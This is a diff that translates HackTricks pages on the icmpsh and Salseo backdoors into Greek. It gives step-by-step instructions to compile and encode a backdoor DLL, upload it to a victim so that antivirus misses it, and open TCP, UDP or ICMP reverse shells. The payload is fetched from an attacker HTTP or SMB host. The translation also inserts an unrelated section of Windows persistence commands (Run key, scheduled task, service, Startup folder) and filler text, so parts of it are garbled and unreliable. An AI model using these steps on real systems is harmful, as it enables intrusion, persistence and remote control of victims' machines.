@ -1,62 +1,50 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Download the backdoor from: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
Κατεβάστε την πίσω πόρτα από: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Client side
|
||||
# Πλευρά πελάτη
|
||||
|
||||
Execute the script: **run.sh**
|
||||
|
||||
**If you get some error, try to change the lines:**
|
||||
Εκτελέστε το σενάριο: **run.sh**
|
||||
|
||||
**Εάν λάβετε κάποιο σφάλμα, δοκιμάστε να αλλάξετε τις γραμμές:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
|
||||
**For:**
|
||||
|
||||
**Για:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Πλευρά Θύματος**
|
||||
|
||||
# **Victim Side**
|
||||
|
||||
Upload **icmpsh.exe** to the victim and execute:
|
||||
|
||||
Μεταφορτώστε το **icmpsh.exe** στο θύμα και εκτελέστε το:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -2,171 +2,187 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Compiling the binaries
|
||||
## Συγκέντρωση των δυαδικών αρχείων
|
||||
|
||||
Download the source code from the github and compile **EvilSalsa** and **SalseoLoader**. You will need **Visual Studio** installed to compile the code.
|
||||
Κατεβάστε τον πηγαίο κώδικα από το github και συγκεντρώστε τα **EvilSalsa** και **SalseoLoader**. Θα χρειαστεί να έχετε εγκατεστημένο το **Visual Studio** για να συγκεντρώσετε τον κώδικα.
|
||||
|
||||
Compile those projects for the architecture of the windows box where your are going to use them(If the Windows supports x64 compile them for that architectures).
|
||||
Συγκεντρώστε αυτά τα έργα για την αρχιτεκτονική του παραθύρου όπου θα τα χρησιμοποιήσετε (Αν τα Windows υποστηρίζουν x64, συγκεντρώστε τα για αυτές τις αρχιτεκτονικές).
|
||||
|
||||
You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".**
|
||||
Μπορείτε να **επιλέξετε την αρχιτεκτονική** μέσα στο Visual Studio στην **αριστερή καρτέλα "Build"** στο **"Platform Target".**
|
||||
|
||||
(\*\*If you can't find this options press in **"Project Tab"** and then in **"\<Project Name> Properties"**)
|
||||
(\*\*Αν δεν μπορείτε να βρείτε αυτές τις επιλογές, πατήστε στο **"Project Tab"** και στη συνέχεια στο **"\<Project Name> Properties"**)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
|
||||
Στη συνέχεια, συγκεντρώστε και τα δύο έργα (Build -> Build Solution) (Μέσα στα αρχεία καταγραφής θα εμφανιστεί η διαδρομή του εκτελέσιμου):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## Prepare the Backdoor
|
||||
## Προετοιμασία της πίσω πόρτας
|
||||
|
||||
First of all, you will need to encode the **EvilSalsa.dll.** To do so, you can use the python script **encrypterassembly.py** or you can compile the project **EncrypterAssembly**:
|
||||
Καταρχήν, θα χρειαστεί να κωδικοποιήσετε το **EvilSalsa.dll**. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το python script **encrypterassembly.py** ή μπορείτε να συγκεντρώσετε το έργο **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
|
||||
### Windows
|
||||
|
||||
Το λειτουργικό σύστημα Windows παρέχει διάφορες δυνατότητες για τη δημιουργία backdoors και την εισβολή σε ένα σύστημα. Οι παρακάτω τεχνικές μπορούν να χρησιμοποιηθούν για να αποκτηθεί πρόσβαση σε έναν υπολογιστή με Windows:
|
||||
|
||||
#### 1. Εκτέλεση κακόβουλου κώδικα μέσω του Registry
|
||||
Μπορείτε να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του Registry των Windows. Αυτό μπορεί να γίνει προσθέτοντας μια νέα τιμή στο κλειδί του Registry `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`. Όταν ο υπολογιστής επανεκκινηθεί, ο κακόβουλος κώδικας θα εκτελεστεί αυτόματα.
|
||||
|
||||
```plaintext
|
||||
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "C:\path\to\backdoor.exe"
|
||||
```
|
||||
|
||||
#### 2. Εκτέλεση κακόβουλου κώδικα μέσω του Task Scheduler
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του Task Scheduler των Windows. Αυτό μπορεί να γίνει δημιουργώντας μια νέα εργασία στο Task Scheduler και ρυθμίζοντας την εκτέλεση του κακόβουλου κώδικα σε συγκεκριμένες συνθήκες.
|
||||
|
||||
```plaintext
|
||||
schtasks /create /sc minute /mo 1 /tn Backdoor /tr "C:\path\to\backdoor.exe"
|
||||
```
|
||||
|
||||
#### 3. Εκτέλεση κακόβουλου κώδικα μέσω του Windows Service
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω ενός Windows Service. Αυτό μπορεί να γίνει δημιουργώντας ένα νέο Windows Service και ρυθμίζοντας την εκτέλεση του κακόβουλου κώδικα όταν το Service ξεκινά.
|
||||
|
||||
```plaintext
|
||||
sc create Backdoor binPath= "C:\path\to\backdoor.exe" start= auto
|
||||
sc start Backdoor
|
||||
```
|
||||
|
||||
#### 4. Εκτέλεση κακόβουλου κώδικα μέσω του Windows Startup Folder
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα backdoor εκτελώντας κακόβουλο κώδικα μέσω του φακέλου Windows Startup. Αυτό μπορεί να γίνει προσθέτοντας ένα συντόμευση του κακόβουλου κώδικα στον φάκελο `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`. Όταν ο υπολογιστής επανεκκινηθεί, ο κακόβουλος κώδικας θα εκτελεστεί αυτόματα.
|
||||
|
||||
```plaintext
|
||||
copy "C:\path\to\backdoor.exe" "C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
|
||||
```
|
||||
|
||||
Αυτές είναι μερικές από τις τεχνικές που μπορείτε να χρησιμοποιήσετε για να δημιουργήσετε backdoors σε ένα σύστημα με Windows. Είναι σημαντικό να θυμάστε ότι η χρήση αυτών των τεχνικών για παράνομους σκοπούς είναι παράνομη και απαράδεκτη. Πάντα χρησιμοποιείτε αυτές τις τεχνικές με ηθικό τρόπο και μόνο για νόμιμους σκοπούς, όπως την ενίσχυση της ασφάλειας του συστήματος σας.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Τώρα έχετε όλα όσα χρειάζεστε για να εκτελέσετε όλο το Salseo: το **κωδικοποιημένο EvilDalsa.dll** και το **δυαδικό του SalseoLoader.**
|
||||
|
||||
Ok, now you have everything you need to execute all the Salseo thing: the **encoded EvilDalsa.dll** and the **binary of SalseoLoader.**
|
||||
**Μεταφορτώστε το δυαδικό SalseoLoader.exe στη μηχανή. Δεν θα πρέπει να ανιχνευθεί από κανένα AV...**
|
||||
|
||||
**Upload the SalseoLoader.exe binary to the machine. They shouldn't be detected by any AV...**
|
||||
## **Εκτέλεση της πίσω πόρτας**
|
||||
|
||||
## **Execute the backdoor**
|
||||
|
||||
### **Getting a TCP reverse shell (downloading encoded dll through HTTP)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener and a HTTP server to serve the encoded evilsalsa.
|
||||
### **Λήψη εναντίον αντίστροφου κέλυφους TCP (λήψη κωδικοποιημένου dll μέσω HTTP)**
|
||||
|
||||
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και έναν HTTP διακομιστή για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Λήψη αντίστροφου κέλυφους UDP (λήψη κωδικοποιημένου dll μέσω SMB)**
|
||||
|
||||
### **Getting a UDP reverse shell (downloading encoded dll through SMB)**
|
||||
|
||||
Remember to start a nc as the reverse shell listener, and a SMB server to serve the encoded evilsalsa (impacket-smbserver).
|
||||
|
||||
Θυμηθείτε να ξεκινήσετε ένα nc ως ακροατής αντίστροφου κελύφους και έναν διακομιστή SMB για να εξυπηρετήσετε το κωδικοποιημένο evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Λήψη ενός αντίστροφου κελύφους ICMP (κωδικοποιημένο dll ήδη μέσα στο θύμα)**
|
||||
|
||||
### **Getting a ICMP reverse shell (encoded dll already inside the victim)**
|
||||
|
||||
**This time you need a special tool in the client to receive the reverse shell. Download:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Disable ICMP Replies:**
|
||||
**Αυτή τη φορά χρειάζεστε ένα ειδικό εργαλείο στον πελάτη για να λάβετε το αντίστροφο κέλυφος. Λήψη:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Απενεργοποίηση απαντήσεων ICMP:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
|
||||
#### Execute the client:
|
||||
|
||||
#### Εκτέλεση του πελάτη:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
||||
#### Inside the victim, lets execute the salseo thing:
|
||||
|
||||
#### Μέσα στο θύμα, ας εκτελέσουμε το πράγμα salseo:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Μεταγλώττιση του SalseoLoader ως DLL που εξάγει την κύρια συνάρτηση
|
||||
|
||||
## Compiling SalseoLoader as DLL exporting main function
|
||||
Ανοίξτε το έργο SalseoLoader χρησιμοποιώντας το Visual Studio.
|
||||
|
||||
Open the SalseoLoader project using Visual Studio.
|
||||
|
||||
### Add before the main function: \[DllExport]
|
||||
### Προσθέστε πριν από την κύρια συνάρτηση: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Install DllExport for this project
|
||||
### Εγκαταστήστε το DllExport για αυτό το έργο
|
||||
|
||||
#### **Tools** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
||||
#### **Εργαλεία** --> **Διαχείριση πακέτων NuGet** --> **Διαχείριση πακέτων NuGet για τη λύση...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
|
||||
#### **Αναζητήστε το πακέτο DllExport (χρησιμοποιώντας την καρτέλα Αναζήτηση) και πατήστε Εγκατάσταση (και αποδεχθείτε το αναδυόμενο παράθυρο)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
|
||||
Στον φάκελο του έργου σας έχουν εμφανιστεί τα αρχεία: **DllExport.bat** και **DllExport\_Configure.bat**
|
||||
|
||||
### **U**ninstall DllExport
|
||||
### **Απεγκατάσταση** του DllExport
|
||||
|
||||
Press **Uninstall** (yeah, its weird but trust me, it is necessary)
|
||||
Πατήστε **Απεγκατάσταση** (ναι, είναι περίεργο αλλά εμπιστευτείτε με, είναι απαραίτητο)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
### **Exit Visual Studio and execute DllExport\_configure**
|
||||
### **Έξοδος από το Visual Studio και εκτέλεση του DllExport\_configure**
|
||||
|
||||
Just **exit** Visual Studio
|
||||
Απλά **βγείτε** από το Visual Studio
|
||||
|
||||
Then, go to your **SalseoLoader folder** and **execute DllExport\_Configure.bat**
|
||||
Στη συνέχεια, πηγαίνετε στον **φάκελο SalseoLoader** σας και **εκτελέστε το DllExport\_Configure.bat**
|
||||
|
||||
Select **x64** (if you are going to use it inside a x64 box, that was my case), select **System.Runtime.InteropServices** (inside **Namespace for DllExport**) and press **Apply**
|
||||
Επιλέξτε **x64** (αν πρόκειται να το χρησιμοποιήσετε μέσα σε ένα x64 box, αυτή ήταν η περίπτωσή μου), επιλέξτε **System.Runtime.InteropServices** (μέσα στο **Πεδίο ονομάτων για το DllExport**) και πατήστε **Εφαρμογή**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **Open the project again with visual Studio**
|
||||
### **Ανοίξτε ξανά το έργο με το Visual Studio**
|
||||
|
||||
**\[DllExport]** should not be longer marked as error
|
||||
Το **\[DllExport]** δεν θα πρέπει πλέον να εμφανίζεται ως σφάλμα
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### Build the solution
|
||||
### Κατασκευή της λύσης
|
||||
|
||||
Select **Output Type = Class Library** (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)
|
||||
Επιλέξτε **Τύπος εξόδου = Βιβλιοθήκη κλάσεων** (Έργο --> Ιδιότητες SalseoLoader --> Εφαρμογή --> Τύπος εξόδου = Βιβλιοθήκη κλάσεων)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
Select **x64** **platform** (Project --> SalseoLoader Properties --> Build --> Platform target = x64)
|
||||
Επιλέξτε **πλατφόρμα x64** (Έργο --> Ιδιότητες SalseoLoader --> Κατασκευή --> Προορισμός πλατφόρμας = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
To **build** the solution: Build --> Build Solution (Inside the Output console the path of the new DLL will appear)
|
||||
Για να **κατασκευάσετε** τη λύση: Κατασκευή --> Κατασκευή λύσης (Μέσα στην κονσόλα εξόδου θα εμφανιστεί η διαδρομή του νέου DLL)
|
||||
|
||||
### Test the generated Dll
|
||||
### Δοκιμή του παραγόμενου Dll
|
||||
|
||||
Copy and paste the Dll where you want to test it.
|
||||
|
||||
Execute:
|
||||
Αντιγράψτε και επικολλήστε το Dll όπου θέλετε να το δοκιμάσετε.
|
||||
|
||||
Εκτελέστε:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Εάν δεν εμφανίζεται κανένα σφάλμα, πιθανώς να έχετε ένα λειτουργικό DLL!!
|
||||
|
||||
If no error appears, probably you have a functional DLL!!
|
||||
## Λήψη κέλυφους χρησιμοποιώντας το DLL
|
||||
|
||||
## Get a shell using the DLL
|
||||
|
||||
Don't forget to use a **HTTP** **server** and set a **nc** **listener**
|
||||
Μην ξεχάσετε να χρησιμοποιήσετε έναν **HTTP** **διακομιστή** και να ορίσετε έναν **nc** **ακροατή**
|
||||
|
||||
### Powershell
|
||||
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
|
@ -175,9 +191,9 @@ $env:lport="1337"
|
|||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
### CMD
|
||||
|
||||
Το CMD (Command Prompt) είναι ένα παράθυρο εντολών που εκτελείται στο λειτουργικό σύστημα Windows. Χρησιμοποιείται για την εκτέλεση εντολών και την αλληλεπίδραση με το σύστημα αρχείων, τους φακέλους και τις εφαρμογές του υπολογιστή. Μπορεί να χρησιμοποιηθεί και για την εκτέλεση εντολών που σχετίζονται με την ασφάλεια και την πεντεστική διαδικασία. Οι εντολές CMD μπορούν να χρησιμοποιηθούν για τη δημιουργία, την ανάγνωση, την επεξεργασία και τη διαγραφή αρχείων και φακέλων, καθώς και για την εκτέλεση προγραμμάτων και την πρόσβαση σε διάφορες ρυθμίσεις του συστήματος. Είναι ένα ισχυρό εργαλείο που μπορεί να χρησιμοποιηθεί για διάφορες εργασίες στον υπολογιστή.
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -186,17 +202,16 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,216 +1,146 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
